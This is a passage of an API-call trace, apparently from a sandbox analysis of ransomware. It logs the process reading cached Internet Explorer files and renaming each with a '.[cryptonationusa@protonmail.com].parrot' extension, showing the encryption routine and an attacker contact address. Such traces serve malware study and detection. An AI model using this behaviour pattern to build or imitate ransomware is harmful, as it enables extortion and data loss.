liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.264] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.303] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x60c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x60c, lpOverlapped=0x0) returned 1 [0082.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.305] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.310] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.311] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.312] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.312] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2b, lpOverlapped=0x0) returned 1 [0082.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.313] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.316] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.318] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7b1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7b1, lpOverlapped=0x0) returned 1 [0082.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.318] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.321] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.321] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.323] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x48ba, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x48ba, lpOverlapped=0x0) returned 1 [0082.324] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.327] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.331] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.332] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.333] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa84a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa84a, lpOverlapped=0x0) returned 1 [0082.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.337] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.340] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.340] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.374] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.374] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1305, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1305, lpOverlapped=0x0) returned 1 [0082.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.375] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1d;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1d;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 0 [0082.375] GetLastError () returned 0x3 [0082.375] GetLastError () returned 0x3 [0082.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.379] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.380] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.380] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xe6c, lpOverlapped=0x0) returned 1 [0082.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.381] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.381] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\GoogleInstaller_de[1].application" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\googleinstaller_de[1].application"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\GoogleInstaller_de[1].application.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\googleinstaller_de[1].application.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.385] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.397] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4c9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x4c9, lpOverlapped=0x0) returned 1 [0082.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.397] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.397] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\js[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\js[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\js[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\js[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.401] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.403] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.403] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x562, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x562, lpOverlapped=0x0) returned 1 [0082.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.403] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.403] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\js[2]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\js[2]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\js[2].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\js[2].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.406] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.406] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.409] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.409] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7a43, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7a43, lpOverlapped=0x0) returned 1 [0082.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.410] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.413] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\latest[1].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\latest[1].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\latest[1].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\latest[1].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.417] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.417] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.419] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a114, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1a114, lpOverlapped=0x0) returned 1 [0082.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.426] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MemMDL2.2.17[1].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\memmdl2.2.17[1].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MemMDL2.2.17[1].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\memmdl2.2.17[1].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.430] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.431] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.431] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x46c9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x46c9, lpOverlapped=0x0) returned 1 [0082.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.435] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.437] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.440] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.443] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xec5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xec5, lpOverlapped=0x0) 